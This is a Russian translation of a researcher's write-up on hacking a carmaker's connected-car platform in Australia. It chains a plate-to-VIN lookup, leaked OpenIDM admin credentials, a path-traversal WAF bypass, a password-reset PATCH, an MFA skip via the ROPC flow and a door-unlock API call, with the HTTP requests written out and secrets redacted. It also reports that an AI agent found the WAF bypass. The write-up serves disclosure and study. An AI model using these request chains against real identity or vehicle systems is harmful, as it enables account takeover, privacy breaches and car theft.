[Перевод] Мы нашли способ взломать любой подключенный автомобиль компании X в крупнейших странах

К автомобилям этого бренда я всегда был неравнодушен. Наша семья уже много лет ездит на их машинах, и все они показали себя с очень хорошей стороны. В 2023 году я купил новый полноприводный паркетник той же компании и впервые получил доступ к их платформе подключенных автомобилей.

У меня уже был опыт работы с другими аналогичными платформами, поэтому я смотрел на их безопасность скептически. Я нутром чуял, что там есть слабые места, но житейские хлопоты не оставляли возможности реально в этом разобраться. И вот в июле мы с Сэмом Карри решили попробовать на прочность систему защиты платформы подключенных автомобилей этого крупного концерна, название которого я по понятным причинам раскрывать не буду.

Когда речь заходит о хакинге авто, то обычно сразу переходят к аппаратной части вопроса. Но мой опыт лежит в плоскости взлома веб-приложений и инфраструктуры. Вне зависимости от конкретных аппаратных деталей, система в любом случае связывается с неким сервисом, который неизбежно должен быть доступен через интернет.

На сей раз весь путь начался с простого вопроса «С какой инфраструктурой связывается приложение, когда я дистанционно разблокирую авто?» Чтобы это выяснить, я скачал APK и декомпилировал его, в конечном итоге воссоздав запросы к API, которые отправляет приложение.

Разбирая код, я заметил, что главной точкой связи выступают ресурсы в поддомене *.redacted-telematics.com.au:

dartExecutor.executeDartEntrypoint(createDefault, CollectionsKt.r(gson.toJson(new GlobalConfigParams(false, g11, com.redacted.app.xcapp.a.f69866f, "X", str)),new Gson().toJson(new ApiConfig("https://api.redacted-telematics.com.au", "https://api.redacted-telematics.com.au", "https://api.redacted-telematics.com.au" ...

Почти все части клиентского приложения обращались обратно к redacted-telematics.com.au. Мне стало интересно, что ещё происходит на этом домене?

Админка

Поддержание структуры для подключенных автомобилей — дело непростое. Чтобы конечные пользователи получали чистый продукт, требуется нескольких админок под разные задачи, а также среды для staging, dev и QA. А вот вопрос о том, должно ли всё это торчать в интернет, доступное для любого, кто пожелает провести базовую разведку, уже заслуживает отдельного внимания.

Один из ресурсов показался мне особенно интересным. Поддомен admintool.redacted-telematics.com.au возвращал страницу с заголовком TEST HARNESS. Ну разве можно пройти мимо поддомена с admintool в адресе?

Перейдя на него, я попал на примитивный экран авторизации в серых тонах. Качеством проработки он не выделялся, особенно с учётом того, что опция выхода отображалась на нём ещё до входа.

Мне очень нравится, что большинство одностраничников выгружают весь свой JS-бандл, даже когда достаточно просто отрендерить страницу авторизации. Естественно, некоторые более современные фреймворки умеют дробить JS-файлы и отдавать только то, что необходимо в текущий момент, но в этом случае мы смогли спокойно прошерстить весь огромный бандл и разобраться, какие конкретно возможности даёт эта админка.

Уровень качества налицоУровень качества налицоКто вообще читает JS-бандлы? Кто вообще читает JS-бандлы?

Как выяснилось, в этой админке можно делать очень многое. В ней есть обширный API, который позволяет сотрудникам концерна работать с аккаунтами клиентов и реальными автомобилями при минимуме ограничений. Воспроизведя запросы, мы обнаружили, что для многих из этих API никакой аутентификации не требовалось — достаточно было жёстко прописанных ключей, лежавших в самом бандле.

Например, мы смогли находить аккаунты пользователей по адресам e-mail:

Но этого было мало. Если мы хотим разблокировать любую машину этого производителя на основе только её номерного знака, то нам потребуется нечто большее.

В Австралии через государственные сайты проверки регистрации по номерам можно легко узнать VIN.

Но это нельзя назвать реальной брешью безопасности. Есть множество законных причин для запроса VIN — например, для проверки истории ремонтов и страхования перед покупкой подержанного авто. Если же нам удастся через VIN добраться до подписчика или его почты, то мы завершим цепочку.

И к нашему везению, там как раз нашёлся нужный API:

Зная GUID подписчика, через эндпоинт /v1/account можно было вытянуть все детали аккаунта, включая e-mail пользователя:

Итак, первый этап цепочки атаки готов: госномер -> VIN -> GUID подписчика -> персональные данные пользователя (e-mail), зарегистрированного на платформе идентификации (ForgeRock OpenIDM).

Хорошо, теперь нужно найти способ отправлять команды на любой авто. Может, получится прямо из этой же админки? К сожалению, нет. Через неё можно было активировать функции в автомобиле, добавить себя в аккаунт в качестве второго пользователя и даже генерировать коды удалённого доступа. Но при всём этом богатстве функций ни одна из них не давала прямого дистанционного управления.

Платформа идентификации

После этого мы с Сэмом две недели разбирались во внутреннем устройстве центральной системы идентификации компании: какой софт используется, как отправляются команды, и как клиенты аутентифицируются.

Когда пользователь проходит аутентификацию в мобильном приложении, запросы отправляются к login.redacted-identity.com.au, и после прохождения MFA ему выдаётся токен авторизации. Впоследствии этот токен используется для последующих запросов к api.redacted-telematics.com.au (как через REST API, так и через GraphQL). Как только вы получили этот токен, дело в шляпе — вы имеете полный контроль над машиной (можете удалённо разблокировать/блокировать её, сигналить, запускать двигатель и так далее).

Так что, если бы мы могли выпускать токен для любого пользователя, то потенциально получили бы контроль над любым подключенным авто. Что нам и было нужно.

Этот концерн активно использует ПО идентификации от ForgeRock (OpenAM/OpenIDM). На нём держится вся их система аутентификации. Подтянув поддомены для *.redacted-identity.com.au, мы быстро нашли их экземпляр OpenIDM на openidm.redacted-identity.com.au. Именно эта система управляет всеми учётками, зарегистрированными на платформе подключенных автомобилей.

И пазл окончательно сложился, когда мы прочёсывали JS-файлы на поддоменах *.redacted-telematics.com.au. Там мы наткнулись на совершенно дикий сторонний JS-бандл, в котором лежали учётные данные админа для OpenIDM 😱:

И хотя эти данные предназначались для среды стейджинга, с учётом той гигиены безопасности, которую мы видели до этого, они наверняка подойдут и для продакшена.

Борьба с WAF

При более внимательном изучении OpenIDM мы так и не смогли понять, знал ли производитель о том, насколько хрупкая у него система. Но одно было очевидно: они хорошенько вложились в правила WAF (Web Application Firewall) для защиты доступа к чувствительным API, которые ForgeRock обычно позволяет вызывать через /openidm/*.

Даже через реальный IP-адрес сервера любое обращение к /openidm/ тут же приводило к блокировке со стороны Nginx WAF. Кто-то знатно заморочился укреплением этих ресурсов, пусть даже они и оставались доступными извне.

Хорошо, такой подход к защите заслуживает уважения. Но столь сильный упор на WAF обычно говорит о попытке залатать нечто изначально дырявое. Возможно, они понимали, насколько опасно раскрывать этот ресурс, но какой-то бизнес-процесс вынудил его так оставить.

Не припомню, удалось ли правилами WAF хоть раз остановить нас в порыве намерения. В итоге мы несколько дней искали лазейку, используя проверенные трюки с обходом каталога (Path Traversal). Сложно ли, умеючи?

Проверить учётные данные, которые мы нашли в бандле, оказалось нетрудно. В австралийском инстансе OpenIDM несколько путей вроде /XUI/ и /UI/ были внесены в белый список, а символы обхода каталога не блокировались. Так что простая конструкция типа /XUI/..%2fopenidm/endpoint как минимум частично сработала:

По крайней мере мы поняли, что учётные данные работают в продакшене По крайней мере мы поняли, что учётные данные работают в продакшене

Но ведь не может всё быть так просто? Из-за особенностей обработки маршрутизации в OpenIDM обход пути всё равно не позволял нам добраться до эндпоинтов в /openidm/. Всякий раз мы получали ошибку вроде:

Чёрт, мы уже так близко?! Чёрт, мы уже так близко?!

В мире OpenIDM для путей, содержащих в себе символы Path Traversal, попросту не было зарегистрировано никаких сервлетов (или ресурсов). Из-за этого система сыпала ошибками, хотя и выписывала нам админский JWT.

Нас это сильно бесило. Какая-то мелкая причуда маршрутизации (наверняка и не заложенная как элемент защиты) мешала развернуть полную цепочку атаки. Несколько дней мы ломали голову и уже подумали, что идея с обходом каталога не сработает. Мы нашли пару других эндпоинтов (например, для загрузки пользовательских файлов), которые выглядели обнадёживающе. Но и здесь столкнулись с проблемой — проверкой пути сервлета — которая никак не позволяла применить их для наших целей.

Всё это заставило нас задуматься: «А зачем вообще понадобилось раскрывать инстансы OpenIDM?» Наверняка же был какой-то весомый повод держать эти ресурсы открытыми для интернета? Тогда мы вернулись к собранным с них JS-бандлам и начали искать в них упоминания запросов к OpenIDM. Затем мы декомпилировали приложение для Android и нашли в нём вот что:

А может, часть эндпоинтов внесена в белый список?

Это явно были эндпоинты ресурса OpenIDM, с которыми связывалось приложение. Так может, к ним можно достучаться в обход WAF?

  • /openidm/endpoint/aaa -> 403 WAF blocked

  • /openidm/endpoint/pinService -> 404, no WAF block

Интересно!

А какие ещё кастомные эндпоинты тут есть? Погоняв облегчённый вариант брутфорса и опробовав собственные догадки, мы быстро нашли getUser. Затем через подстановку разных параметров мы выяснили, что он принимает mail, guid и phone. Какие же возможности нам это даёт в сочетании с уже имеющимися учётными данными?

Упс… Упс…

В ответе мы получили хэш пароля, хэш PIN-кода, пуш-токены устройств и персональные данные, включая номера телефонов и полные имена. На этом эндпоинте не было никакой защиты WAF, так что обход пути не потребовался — ответил нужный сервлет.

Да, улов оказался хорош. Но пароли были хэшированы с помощью PBKDF2-SHA512, и перспектива гонять ферму для хешкрекинга при разблокировке каждой машины без каких-либо гарантий успеха явно не вдохновляла.

Пришлось снова отступить. Как же нам получить доступ к сервлету /openidm/managed/user с помощью обхода пути так, чтобы OpenIDM этот адрес корректно распознал? Мы взяли исходники OpenIDM максимально близкой версии и скормили их GPT 5.6 Sol Ultra, которая пропотела над ними целые шесть часов.

И агент справился. Мы с Сэмом хоть и потратили немало времени на ручной поиск обхода этой наивной защиты, но перебрали не все возможные комбинации.

Когда мы пробовали /XUI%2f..%2fopenidm/, то получали жёсткую 403 и по своей человеческой природе решили, что так будет с любым префиксом. Агент же выяснил, что /static%2f..%2fopenidm/ вообще не фильтровался WAF, и это дало нам заветный доступ к OpenIDM API без путаницы в сервлетах.

Захват аккаунтов

Имея такой обходной путь, захват учётных записей стал простой задачей. Мы могли прописывать новый пароль для профиля любого пользователя:

PATCH /static%2f..%2fopenidm/managed/user/f7ba554REDACTED HTTP/1.1Host: openidm.redacted-identity.com.auX-OpenIDM-Username: idmadminX-OpenIDM-Password: REDACTEDX-OpenIDM-NoSession: trueContent-Type: application/jsonIf-Match: "0000000abc123..."Cache-Control: no-storeAccept: application/json [{"operation":"replace","field":"/password","value":"Testing123!"}]

На что система отвечала:

HTTP/1.1 200 OK{“_id”:“f7ba554REDACTED”,“_rev”:“0000000def456…”}

Хорошо, теперь мы можем менять пароль любого пользователя. Но как быть с мультифакторной аутентификацией?

Пропуск MFA

В конфигурации австралийской инфраструктуры концерна была ещё одна брешь, позволявшая полностью пропустить этап MFA. Сначала мы запросили токен аутентификации у login.redacted-identity.com.au, используя механизм Resource Owner Password Credentials (ROPC), и сервер вернул нам чистый id_token, который мы уже могли обменять на что-то, пригодное для использования в приложении:

POST /oauth2/realms/root/realms/REDACTED/access_token HTTP/1.1Host: login.redacted-identity.com.auContent-Type: application/x-www-form-urlencodedgrant_type=password&username=admin@shubs.io&password=Testing123!&client_id=REDACTED_PORTAL&client_secret=REDACTED> HTTP/1.1 200 OK> {> "access_token": "...",> "id_token": "eyJ0eXAiOiJKV1Qi...",> "token_type": "Bearer",> "expires_in": 3599> }

Далее мы перешли ко второму шагу — запуску по этому токену сессии:

POST /json/realms/REDACTED/authenticate?authIndexType=service&authIndexValue=IDTokenROPC HTTP/1.1Host: login.redacted-identity.com.auContent-Type: application/jsonAccept: application/jsonAccept-API-Version: resource=2.0, protocol=1.0idtoken: eyJ0eXAiOiJKV1Qi... > HTTP/1.1 200 OK> {> "tokenId": "AQIC5wM2LY4Sfcy...*",> "successUrl": "/openam/console",> "realm": "/REDACTED"> }

И в завершение мы через обмен токенов получили заветный токен доступа для мобильного приложения:

POST /oauth2/realms/root/realms/REDACTED/authorize HTTP/1.1Host: login.redacted-identity.com.auContent-Type: application/x-www-form-urlencodedAccept-API-Version: resource=2.1, protocol=1.0x-fr-version: 2025.05.05Authorization: Basic iPlanetDirectoryPro: AQIC5wM2LY4Sfcy...*Cookie: iPlanetDirectoryPro=AQIC5wM2LY4Sfcy...* client_id=REDACTED_APP&redirect_uri=com.redacted.app:/oauth2Callback&scope=openid%20profile%20write&response_type=code&state=&code_challenge=&code_challenge_method=S256&decision=allow&csrf=AQIC5wM2LY4Sfcy...*> HTTP/1.1 302 Found> Location: com.redacted.app:/oauth2Callback?code=&state= POST /oauth2/realms/root/realms/REDACTED/access_token HTTP/1.1Host: login.redacted-identity.com.auContent-Type: application/x-www-form-urlencodedAccept-API-Version: resource=2.1, protocol=1.0Authorization: Basic grant_type=authorization_code&code=&redirect_uri=com.redacted.app:/oauth2Callback&client_id=REDACTED_APP&code_verifier=> HTTP/1.1 200 OK> {> "access_token": "",> "refresh_token": "...",> "token_type": "Bearer",> "scope": "openid profile write",> "expires_in": 3599> }

Знаю, схема выглядит очень запутанной, с OAuth иногда до боли сложно работать. Но эти шаги позволили нам обойти MFA для любого пользователя.

Разблокировка авто

В этот момент мы уже чертовски близко подошли к разблокировке любого автомобиля концерна в Австралии. Оставалось только отправить API-запрос на выполнение нужной команды вместе с токеном приложения, который теперь мы могли получить без проблем.

POST /v1/remote/route/command HTTP/1.1Host: api.redacted-telematics.com.auAuthorization: Bearer X-API-KEY: REDACTEDX-GUID: f7ba554REDACTEDX-BRAND: REDACTEDX-APPBRAND: REDACTEDX-CHANNEL: REDACTEDX-LOCALE: en-AUX-APPVERSION: REDACTEDX-OSNAME: AndroidX-OSVERSION: 14X-DEVICE-TIMEZONE: AESTX-CORRELATIONID: 6f1a2b3c-4d5e-6f70-8192-a3b4c5d6e7f8X-GENERATION: REDACTEDVIN: XXXXXXXXXXXXXXXXXContent-Type: application/jsonAccept: application/jsonUser-Agent: okhttp/4.12.0{"command": "door-unlock", "autoFixPopup": false, "beepCount": null}

И двери магическим образом открылись!

Естественно, всё это мы проделывали на собственных авто или на тех, с которыми нам разрешили поэкспериментировать.

Но давайте на секунду приостановимся и подумаем, чего нам удалось добиться. В конечном итоге мы смогли отправлять команды на любой автомобиль концерна в Австралии — причём на обе выпускаемых им марки — зная только номерной знак. Общая цепочка атаки выглядела так:

Номер авто -> VIN -> GUID подписчика -> учётные данные админки OpenIDM в стороннем JS-бандле -> обход WAF через Path Traversal -> обход MFA через ROPC-флоу -> выпуск токена для клиентского приложения -> вызов API удалённого управления.

В полночь, когда вся цепочка, наконец, была собрана, я снял короткую демонстрацию скрипта в действии. Ролик получился неказистый, но он прекрасно демонстрирует всю магию этого процесса. Как же я тащусь от решения таких сложных вызовов.

Вы можете спросить, мол, Шабс, ты же говорил про взлом любой машины этого производителя в мире, а здесь пример только с Австралией. Как так?

Мы с Сэмом разработали ещё более сложную цепочку, о которой он писал в своём блоге. Для её реализации потребовалось намного больше усилий, чем в случае с Австралией, так как системы OpenIDM для США, Канады и Европы производитель защитил гораздо лучше.

В конечном же итоге, объединив результаты обоих экспериментов, мы смогли отправлять удалённые команды — разблокировать машину, запускать двигатель и не только — на любой авто этого концерна в Австралии, США и Канаде.

Источник: habr.com

0 0 голоса
Рейтинг новости
1
0
Подписаться
Уведомить о
0 комментариев